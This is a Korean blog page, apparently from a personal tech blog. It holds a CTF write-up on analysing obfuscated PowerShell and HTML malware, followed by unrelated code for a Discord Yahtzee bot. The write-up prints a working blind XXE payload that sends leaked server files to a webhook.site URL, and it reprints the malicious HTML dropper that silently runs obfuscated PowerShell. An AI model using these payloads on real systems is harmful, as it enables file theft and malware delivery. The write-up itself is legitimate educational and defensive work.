악성 스크립트는 특정 타겟을 대상으로 동작한다. 타겟을 분석하여 첫번째 플래그를 획득하시오. (타겟도메인_타겟국가_동작시점, ex: test.com_japan_20201231)

 

.ps1으로 된 파워쉘 코드가 주어진다.

 

난독화가 되어 있다.

 

잘 복호화하다보면 ps코드를 외부에서 하나 더 다운받아온다.

그 코드를 다시 복호화해보면 의미있는 값을 찾을 수 있다. 

 

flag : secuholic.com_korea_20200707

 

PowerShellcode-2

악성 스크립트는 최초 감염시 C2서버에 전송할 수 있는 명령어 목록을 받아온다. 명령어 목록을 분석하여, 두번째 플래그를 획득하시오.

 

코드 분석해보면 또 코드 외부에서 받아서 실행하는 코드가 있다.

 

코드 복호화 해보면서 실행흐름을 따라가 보면,

c2서버와 통신하는 루틴이 나온다.

 

apitester.com/

 

API Tester

Note that by creating a share link, you will be making this test configuration accessible to anyone with the link. Please do not share sensitive information in this manner.

apitester.com

 

받아온 명령어는 : infect, getmsg, getflag 이고

사용한 명령어는 : IRIMFxIi, GwceHyIP 이다.

 

코드 돌려보니 맞았다.

 

그래서 getflag를 위 루틴으로 인코딩 후 리퀘

 

 

파워쉘 코드를 얻을 수 있는데, 그대로 파워쉘에 입력하면, MsgBox 형태로 flag가 출력된다.

PowerShellcode-3

 

C2서버에서 data에 전달되는 xml값을 파싱한다. 여기에 취약점이 있고, xxe를 시도해 보았다.

 

payload : 

1
2
3
4
5
6
7
8
command=IRIMFxIi&sec=fiesta2020&data=<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://255.255.255.255/ext.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>
cs

(255.255.255.255에는 개인 서버 주소)

 

 

 

ext.dtd :

1
2
3
4
5
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=index.php">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'https://webhook.site/비밀/?p=%file;'>">
<!ENTITY var "%file;">
%eval;
%error;
cs

 

이렇게 하면 index.php의 소스코드를 릭할 수 있다.

 

 

 

index.php에서 ./_readme_only_admin.php에 플래그가 있는 것을 알려준다.

 

 

_readme_only_admin.php의 소스코드를 릭해보면:

1
2
3
4
5
6
7
8
9
10
<?php
 
$flags = shell_exec('flags2');
 
if ($_SERVER['REMOTE_ADDR']!='127.0.0.1') {
    echo "you are not admin!!";
else {
    echo $flags;
}
?>
cs

 

 

ext.dtd :

1
2
3
4
5
<!ENTITY % file SYSTEM "http://127.0.0.1/_readme_only_admin.php">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'https://webhook.site/비밀/?p=%file;'>">
<!ENTITY var "%file;">
%eval;
%error;
cs

flag 값을 구할 수 있었다.

 

(응답서버로 값이 넘어 온 것은 아니고, c2서버 response에서 오류메세지에 플래그가 같이 딸려 나왔다.)

 

 

 

 

 

PayDay

금융회사 임직원 A씨는 여느 달과 같이 카드 이용 대금명세서 메일을 수신하였고 결제금액 및 상세 이용내역을 확인하기 위해 첨부문서(html)를 열람하였다. 보안 프로그램을 설치하고 생년월일을 입력하려는 순간 화면이 잠기고 키보드가 먹통이 되어 PC를 사용할 수 없게 되었다. 이를 해제하기 위해서는 Flag값을 입력해야 한다는 메시지박스가 생성되었다.

A씨는 즉시 정보보호부에 피해 사실을 신고하였다. 정보보호부 내의 CERT 팀은 추가 피해를 방지하고 업무연속성을 유지하기 위해 분석 작업을 시작하였다.

PayDay-2

암호화된 쉘코드를 실행하기 위해 C2 서버에서 수신한 문자열을 일련의 루틴을 거친 후 AES 복호화에 사용하는데, 이 때 사용되는 키값은? (0x 제외하고 Hex값 형태로 입력)

 

 

html 파일이 하나 주어진다.

 

코드를 정렬해주었다. (2번 문제를 푸는데에 상단 코드의 내용은 필요 없어서 제외했다.)

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
function a() {
    try {
        var _0x34a867 = document['getElementById']('smime_body')['value'];
        var _0x59abc8 = Decode(_0x34a867);
        var _0x5683a6 = new Blob([_0x59abc8], {
            'type''application/octet-stream'
        });
        var _0x340994 = saveAs(_0x5683a6, '_Secure.msi');
        if (_0x340994 == ![]) {}
    } catch (_0x463d54) {}
}
 
function b() {
    try {
        var f = new ActiveXObject("Scripting.FileSystemObject");
        var fn = f.GetSpecialFolder(1+ "\\WindowsPowerShell\\v1.0\\powershell.exe";
        var a = "BWlucR0Le2AaYz44KQ==";
        var s = f.GetSpecialFolder(2+ clue(a);
        if (f.FileExists(fn)) {
            f.CopyFile(fn, s);
            return true;
        } else {
            return false;
        }
    } catch (e) {
        return false
    }
}
 
function c() {
    var f = new ActiveXObject("Scripting.FileSystemObject");
    var a = "BTYJZG98fGFhCGdhaQgIeG11D2x0DHNtYWALEW5/fBFreHsWbgg3";
    var b = "BTYJE25+fxBhe2cTGnR4eG0OC2B0dH4WamAIYxt0C2IcDH1kYH03";
    var c = "BTYIbB8IemIcf2dmbAxyeG0Lf2x0D31hamAMYm90fRMbeHMRa3o3";
    var d = "BTYJZR99C2QffGdhb3V9eG16DG10DAtlYGAPF2F/cmAddHgUaQ83";
    var e = "BTZ9FmoODhFpD2dkbHx/eG0JDBF0DAhibmAPZ2p4c2cceQ9tb3w3";
    if (!f.FolderExists(f.GetSpecialFolder(2+ clue(a))) {
        f.CreateFolder(f.GetSpecialFolder(2+ clue(a));
    }
    if (!f.FolderExists(f.GetSpecialFolder(2+ clue(b))) {
        f.CreateFolder(f.GetSpecialFolder(2+ clue(b));
    }
    if (!f.FolderExists(f.GetSpecialFolder(2+ clue(c))) {
        f.CreateFolder(f.GetSpecialFolder(2+ clue(c));
    }
    if (!f.FolderExists(f.GetSpecialFolder(2+ clue(d))) {
        f.CreateFolder(f.GetSpecialFolder(2+ clue(d));
    }
    if (!f.FolderExists(f.GetSpecialFolder(2+ clue(e))) {
        f.CreateFolder(f.GetSpecialFolder(2+ clue(e));
    }
}
 
function d() {
    var a = "BWlucR0Le2AaYz44KQ==";
    var b = "BTZ9FmoODhFpD2dkbHx/eG0JDBF0DAhibmAPZ2p4c2cceQ9tb3w3CX1pbhEffH8WdygyMA==";
    var c = "eWAdPDcpJSIKOTM5PG0iPD0pLxt5YA8tPC4/ATAiJAU2ISM2IG0ILCksGSZ5YCQ6KT8lMzAhL3VxAy8idAIoPzwuPnUKNDkhPCBkGzw5ZAI8Lwk5MCgkIXBjDjouIyY6OCkMPDUoYnIxOT4lY2JlYGtjfWx3e3x7YXtleigbBWJrCDkQYSt7FAsGAC0dJz45MQ8TJxgMMmUfdT0PHB16HBA0DRsNGAUYFQgMIy8rEmIJFBAEaD0QI2ksfmJvLH8FMSsEH2h0JCJoFBtiDiAHJyh7DjcSFDoYERc6Mg57fQw0PmV6KWMvLTxqZnV+aB4QFB1vCSIOehNpDHsTaGB+Y2F6Z2FuC3J4GAx6bHQICG1rdX8RYH8LZRswFisdC3gUb3UJezw1L3Jw";
    var d = "eWAdPDcpJSIKOTM5PG0iPD0pLxt5YA8tPC4/ATAiJAU2ISM2IG0ILCksGSZ5YCQ6KT8lMzAhL3V8GQ8YCWgWciJqCWUffQtkH3xnYW91fXhtegxtdAwLZWBgDxdhf3JgHXR4FGkPbSh+ETQRH38LY2EOZDAhKA==";
    var f = new ActiveXObject("Scripting.FileSystemObject");
    var s = new ActiveXObject("WScript.shell");
    var st = f.GetSpecialFolder(2+ clue(a);
    var sc = f.GetSpecialFolder(2+ clue(b);
    if (f.FileExists(st)) {
        f.CopyFile(st, sc);
    }
    var c = sc + clue(c);
    var d = sc + clue(d);
    s.run(c, 0true);
    s.run(d, 0true);
    f.DeleteFile(sc);
}
 
function get_version_of_IE() {
    var word;
    var version = "N/A";
    var agent = navigator.userAgent.toLowerCase();
    var name = navigator.appName;
    if (name == "Microsoft Internet Explorer") word = "msie ";
    else {
        if (agent.search("trident"> -1) word = "trident/.*rv:";
        else if (agent.search("edge/"> -1) word = "edge/";
    }
    var reg = new RegExp(word + "([0-9]{1,})(\\.{0,}[0-9]{0,1})");
    if (reg.exec(agent) != null) version = RegExp.$1 + RegExp.$2;
    return version;
}
 
window.onload = function() {
    var isSuccess;
    var verString = get_version_of_IE();
    var verNumber = parseInt(get_version_of_IE(), 10);
    var savePath;
    if (verString == "N/A") {
        alert("지원하지 않는 형식의 브라우져 입니다.\n 지원 가능한 브라우져 : Internet Explorer");
    } else {
        alert('정보유출 방지를 위해 하단에 생성되는 보안 프로그램을 설치 후에 입력해주시기 바랍니다.');
        a();
        c();
        b();
        d();
    }
}
 
function clue(a) {
    var b = "NTk0ZDRhNTU=";
    c = atob(b);
    var c = c.toString();
    var d = '';
    for (var i = 0; i < c.length; i += 2) d += String.fromCharCode(parseInt(c.substr(i, 2), 16));
    e = atob(a);
    f = '';
    for (i = 0; i < e.length; i++) {
        f += String.fromCharCode(e[i].charCodeAt(0).toString(10) ^ d.charCodeAt(i % d.length).toString(10));
    }
    return f;
}
 
function bC() {
    a();
}
cs

 

a, c, b, d 함수 순서대로 실행하는데, d 함수에 있는 변수들의 인코딩을 풀어보면, 

 

 

 

이렇게 나오게 되고, c변수를 보면, p.exe파일을 다운로드 받아오는 것을 알 수 있다.

 

 

해당 파일을 다운로드 받아 분석을 시작한다.

 

 

 

올리디버거로 열어서 문자열들을 확인해 보면, AES, CBC, url 등이 보인다.

 

이 프로그램에서 aes 복호화가 일어남을 알 수 있다.

 

 

 

ida에서 메인함수 마지막 부분을 보면, for문이 16번 돌고 마지막에 sub_402361 함수 하나를 실행하는 것을 볼 수 있다.

 

aes 키는 16바이트 임으로 위 for 루틴이 키 생성 과정이고 마지막 함수가 복호화를 하는 함수라고 유추해 볼 수 있다.

 

 

해당 함수를 콜하는 주소인 5bc4에 bp를 걸고 디버깅을 했다.

 

 

그리고 해당 함수에 인자로 넘어가는 값에서 키값을 확인할 수 있었다.

 

 

반응형

'CTF Write Up' 카테고리의 다른 글

제 2회 TeamH4C CTF 2020 Write-up  (0) 2020.10.13
CCE2020 Quals Write-up  (0) 2020.09.26
2020 Defenit CTF Write Up  (2) 2020.06.06
angstrom CTF 2020 write up  (0) 2020.03.14
UTCTF 2020 Write up  (0) 2020.03.07
반응형

최근 유행했던 주사위 게임을 디스코드 봇으로 만들어 보았다.

 


https://discord.com/api/oauth2/authorize?client_id=671993218438791169&permissions=34880&scope=bot

 

Discord - A New Way to Chat with Friends & Communities

Discord is the easiest way to communicate over voice, video, and text. Chat, hang out, and stay close with your friends and communities.

discord.com

제 봇을 추가해서 테스트해 볼 수 있습니다.

 

명령어: >야추

 


 

 

 

정확히는 디스코드랑 상호작용하는 부분만 만들고 실제로 주사위를 굴리거나 점수를 반환하는 실질적인 게임 부분은 깃허브에서 찾아서 사용했다.

 

사용한 API 코드:

 

https://github.com/dkpark95/yahtzee

 

dkpark95/yahtzee

Code for a simple game of Yahtzee built with JS/jQuery on top of a simple Express API. - dkpark95/yahtzee

github.com

위 API를 돌려서 값만 주고 받아서 사용하는 거다.

 


구조

 

project/

├── bot/

│ ├── app.js (봇)

│ └── emojiCharacters.js (이모지 모음)

└── yahtzee/ (https://github.com/dkpark95/yahtzee)

 

 

emojiCharacters.js 파일은 아래 링크를 참조하여 생성하시면 됩니다.

https://discordjs.guide/popular-topics/miscellaneous-examples.html#emoji-characters

 

Discord.js Guide

A guide made by the community of discord.js for its users.

discordjs.guide


코드 작성하기

 

 

개발환경 : UBUNTU 18.04.3

개발언어: NODE JS V12.13.0

모듈 : discord.js v12

텍스트 에디터: ATOM (편하신거 사용하시면 됩니다.)

 

nodejs와 discordjs의 버전을 확인해주세요. 버전이 다를 경우 문제가 생길 수 있습니다.

discord.js의 버전은 무조건 V12이어야 합니다.

 

 

 

app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
// Extract the required classes from the discord.js module
const Discord = require('discord.js');
const rp = require('request-promise');
const emojiCharacters = require('./emojiCharacters');
 
// Create an instance of a Discord client
const client = new Discord.Client();
 
const botName = 'M4ndU';
const devURL = 'https://mandu-mandu.tistory.com';
const yatchURL = 'http://127.0.0.1:3400';
 
const token = 'TOKEN_HERE';
 
const PREFIX = '?';
 
function showScore(game, i){
  if (game.scorecard[i].locked === true) {
    return game.scorecard[i].points;
  } else {
    var score = '0';
    if (game.scorecard[i].points===null) {
      score = 0;
    }else {
      score = game.scorecard[i].points;
    }
    return "0(+"+score+")";
  }
}
 
function showScoreEmoji(game, i){
  if (game.scorecard[i].locked === true) {
    return ' ✅ ';
  } else {
    return ' ❌ ';
  }
}
 
function showBonusScore(game){
  if (game.scorecard[7].points===null) {
    return `0(${game.scorecard[6].points}/63)(+35)`;
  } else {
    return `${game.scorecard[7].points===null?0:game.scorecard[7].points}(${game.scorecard[6].points===null?0:game.scorecard[6].points}/63)`;
  }
}
 
function showBonusEmoji(game){
  if (game.scorecard[7].points===null) {
    return ' ❌ ';
  } else if (game.scorecard[7].points=== 0) {
    return ' ⛔️ ';
  } else {
    return ' ✅ ';
  }
}
 
function embedScoreMsg(newGame, r, log, turn){
  var dices = "";
  for (var i = 0; i < 5; i++) {
    dices += emojiCharacters[`${newGame.round.dice[i].value}`] +' ';
  }
 
  var gameBoardEmbed = new Discord.MessageEmbed()
    .setColor('#0099ff')
    .setTitle(`야추! | 턴 ${turn}/13`)
    .setDescription('입력시간제한 : 1분')
    .setAuthor(botName, '''http://mandu-mandu.tistory.com/')
    .addFields(
      { name'주사위 🎲 ', value: `${dices}`, inline: true },
      { name'남은 횟수 🤹‍ ', value: `${r}`, inline: true },
      { name'점수 합계 🏆 ', value: `${newGame.scorecard[15].points===null?0:newGame.scorecard[15].points}`, inline: true },
      { name'-----------', value: '점수판', inline: false },
      { name: `#1: Ones${showScoreEmoji(newGame, 0)}`, value: `점수: ${ showScore(newGame, 0)}`, inline: true },
      { name: `#2: Twos${showScoreEmoji(newGame, 1)}`, value: `점수: ${ showScore(newGame, 1)}`, inline: true },
      { name: `#3: Threes${showScoreEmoji(newGame, 2)}`, value: `점수: ${ showScore(newGame, 2)}`, inline: true },
      { name: `#4: Fours${showScoreEmoji(newGame, 3)}`, value: `점수: ${ showScore(newGame, 3)}`, inline: true },
      { name: `#5: Fives${showScoreEmoji(newGame, 4)}`, value: `점수: ${ showScore(newGame, 4)}`, inline: true },
      { name: `#6: Sixs${showScoreEmoji(newGame, 5)}`, value: `점수: ${ showScore(newGame, 5)}`, inline: true },
      { name: `1-6 보너스!${showBonusEmoji(newGame)}`, value: `점수:${ showBonusScore(newGame)}`, inline: false },
      { name: `#7: Three of a Kind${showScoreEmoji(newGame, 8)}`, value: `점수: ${ showScore(newGame, 8)}`, inline: true },
      { name: `#8: Four of a Kind${showScoreEmoji(newGame, 9)}`, value: `점수: ${ showScore(newGame, 9)}`, inline: true },
      { name: `#9: Full House${showScoreEmoji(newGame, 10)}`, value: `점수: ${ showScore(newGame, 10)}`, inline: true },
      { name: `#10: Small Straight${showScoreEmoji(newGame, 11)}`, value: `점수: ${ showScore(newGame, 11)}`, inline: true },
      { name: `#11: Large Straight${showScoreEmoji(newGame, 12)}`, value: `점수: ${ showScore(newGame, 12)}`, inline: true },
      { name: `#12: Chance${showScoreEmoji(newGame, 13)}`, value: `점수: ${ showScore(newGame, 13)}`, inline: true },
      { name: `#13: Yahtzee${showScoreEmoji(newGame, 14)}`, value: `점수: ${ showScore(newGame, 14)}`, inline: true },
      { name'기록 📃', value: `${log}`, inline: false },
    )
    .setFooter('Made by M4ndU''');
 
    return gameBoardEmbed;
}
 
 
client.on('ready', async () => {
  console.log(`Logged in as ${client.user.tag}!`);
});
 
client.on('message', async msg => {
  if (msg.content.startsWith(PREFIX)) {
        const input = msg.content.slice(PREFIX.length).split(' ');
        var command = input.shift();
        var commandArgs = input;
 
    if (command === '야추') {
      //게임 시작
      const newGame = await rp({uri:yatchURL + '/api/game'}).then(function (repos) {
        return JSON.parse(repos);
      });
 
      var gameBoardEmbed = embedScoreMsg(newGame, 2,'.'1);
 
      var yachtmsg = await msg.channel.send(gameBoardEmbed).then(msg =>{
        return msg;
      });
 
      Promise.all([
            yachtmsg.react(emojiCharacters['1']),
            yachtmsg.react(emojiCharacters['2']),
            yachtmsg.react(emojiCharacters['3']),
        yachtmsg.react(emojiCharacters['4']),
        yachtmsg.react(emojiCharacters['5']),
        yachtmsg.react('🔁'), //주사위 굴리기
        yachtmsg.react('🔴'), //점수 바로 등록하기
        ]);
 
      //init
      var yachtGame = newGame;
      const filter = (reaction, user) => {
        return ['🔁','🔴'].includes(reaction.emoji.name&& user.id === msg.author.id;
      };
      var stopFlag = false;
      var exit = false;
      var options = {
          method: 'POST',
          uri:yatchURL + '/api/game/roll',
          body: yachtGame,
          json: true // Automatically stringifies the body to JSON
      };
      const filterm = response => {
        return ['1','2','3','4','5','6','7','8','9','10','11','12','13'].includes(response.content&& response.author.id === msg.author.id;
      };
      var choose = '0';
      var userReactions = new Object();
      //init
 
 
      //13턴 돌립니다.
      for (var gameTurn = 1; gameTurn < 14; gameTurn++) {
        //주사위 3라운드 굴리기
        for (var g = 2; g > 0; g--) {
          await yachtmsg.awaitReactions(filter, { max: 1, time: 60000, errors: ['time'] })
            .then(async function(collected) {
              const reaction = collected.first();
              if (reaction.emoji.name === '🔁') {
                for (var yrdl = 0; yrdl < 5; yrdl++) {
                  yachtGame.round.dice[yrdl].locked = yachtmsg.reactions.cache.get(emojiCharacters[`${yrdl+1}`]).users.cache.has(msg.author.id);
                }
                //roll
                  } else {
                stopFlag = true;
                g = 1;
                  }
            }).catch(async function(collected) {
              gameBoardEmbed = embedScoreMsg(yachtGame, 0,'시간초과.', gameTurn);
              yachtmsg.edit(gameBoardEmbed);
              stopFlag = true;
              exit = true;
            });
          options = {
              method: 'POST',
              uri:yatchURL + '/api/game/roll',
              body: yachtGame,
              json: true // Automatically stringifies the body to JSON
          };
          if (exit) {
            break;
          }
          if (!stopFlag) {
            yachtGame = await rp(options).then(function (repos) {
              return repos;
            });
          }
 
          if (g === 1) {
            gameBoardEmbed = embedScoreMsg(yachtGame, g-1,'점수로 등록할 번호를 입력하세요.', gameTurn);
            await yachtmsg.edit(gameBoardEmbed);
            break;
          } else {
            gameBoardEmbed = embedScoreMsg(yachtGame, g-1,'잠시 기다려주세요', gameTurn);
          }
 
          await yachtmsg.edit(gameBoardEmbed);
 
          //2 react remove
          await yachtmsg.reactions.resolve('🔁').users.remove(msg.author.id);
          await yachtmsg.reactions.resolve('🔴').users.remove(msg.author.id);
 
          gameBoardEmbed = embedScoreMsg(yachtGame, g-1,'아래 이모지를 클릭해주세요.', gameTurn);
          await yachtmsg.edit(gameBoardEmbed);
        }
        if (exit) {
          break;
        }
 
        //점수 등록과정
        choose = '0';
        stopFlag = false;
        for (var rcc = 0; rcc < 5; rcc++) {
          await msg.channel.awaitMessages(filterm, { max: 1, time: 60000, errors: ['time'] })
                .then(async collected => {
              var resmsg = collected.first();
                    if (isNaN(resmsg.content|| Number(resmsg.content> 14 || Number(resmsg.content< 1 || !Number.isInteger(Number(resmsg.content))) {
                gameBoardEmbed = embedScoreMsg(yachtGame, 0,'1에서 14사이의 정수를 입력.');
                yachtmsg.edit(gameBoardEmbed);
              }else {
                if (resmsg.content < 7) {
                  choose = Number(resmsg.content-1;
                } else {
                  choose = Number(resmsg.content+1;
                }
                if (yachtGame.scorecard[Number(choose)].locked) {
                  gameBoardEmbed = embedScoreMsg(yachtGame, 0,'이미 등록된 번호. 다른번호로 입력.', gameTurn);
                  yachtmsg.edit(gameBoardEmbed);
                }else {
                  options = {
                      method: 'PUT',
                      uri:yatchURL + '/api/game/select/' + yachtGame.scorecard[choose].id,
                      body: yachtGame,
                      json: true // Automatically stringifies the body to JSON
                  };
                  yachtGame = await rp(options).then(function (repos) {
                    return repos;
                  });
                  stopFlag = true;
                }
              }
              resmsg.delete();
                })
                .catch(collected => {
              gameBoardEmbed = embedScoreMsg(yachtGame, 0,'시간초과.', gameTurn);
              yachtmsg.edit(gameBoardEmbed);
              stopFlag = true;
              exit = true;
                });
          if (stopFlag || exit) {
            break;
          }
        }
 
        stopFlag = false;
        if (exit) {
          break;
        }
 
        if (gameTurn === 13) {
          gameBoardEmbed = embedScoreMsg(yachtGame, 0,'게임종료', gameTurn);
          break;
        }else {
          gameBoardEmbed = embedScoreMsg(yachtGame, 2,'기다려주세요', gameTurn+1);
        }
 
        await yachtmsg.edit(gameBoardEmbed);
        //all react remove
        await yachtmsg.reactions.resolve(emojiCharacters['1']).users.remove(msg.author.id);
        await yachtmsg.reactions.resolve(emojiCharacters['2']).users.remove(msg.author.id);
        await yachtmsg.reactions.resolve(emojiCharacters['3']).users.remove(msg.author.id);
        await yachtmsg.reactions.resolve(emojiCharacters['4']).users.remove(msg.author.id);
        await yachtmsg.reactions.resolve(emojiCharacters['5']).users.remove(msg.author.id);
        await yachtmsg.reactions.resolve('🔁').users.remove(msg.author.id);
        await yachtmsg.reactions.resolve('🔴').users.remove(msg.author.id);
 
        gameBoardEmbed = embedScoreMsg(yachtGame, 2,'아래 이모지를 클릭!', gameTurn+1);
        await yachtmsg.edit(gameBoardEmbed);
      }
 
    }
  }
});
 
client.login(token);
 
cs

 


https://discord.com/api/oauth2/authorize?client_id=671993218438791169&permissions=34880&scope=bot

 

Discord - A New Way to Chat with Friends & Communities

Discord is the easiest way to communicate over voice, video, and text. Chat, hang out, and stay close with your friends and communities.

discord.com

제 봇을 추가해서 테스트해 볼 수 있습니다.

 

명령어: >야추

반응형

+ Recent posts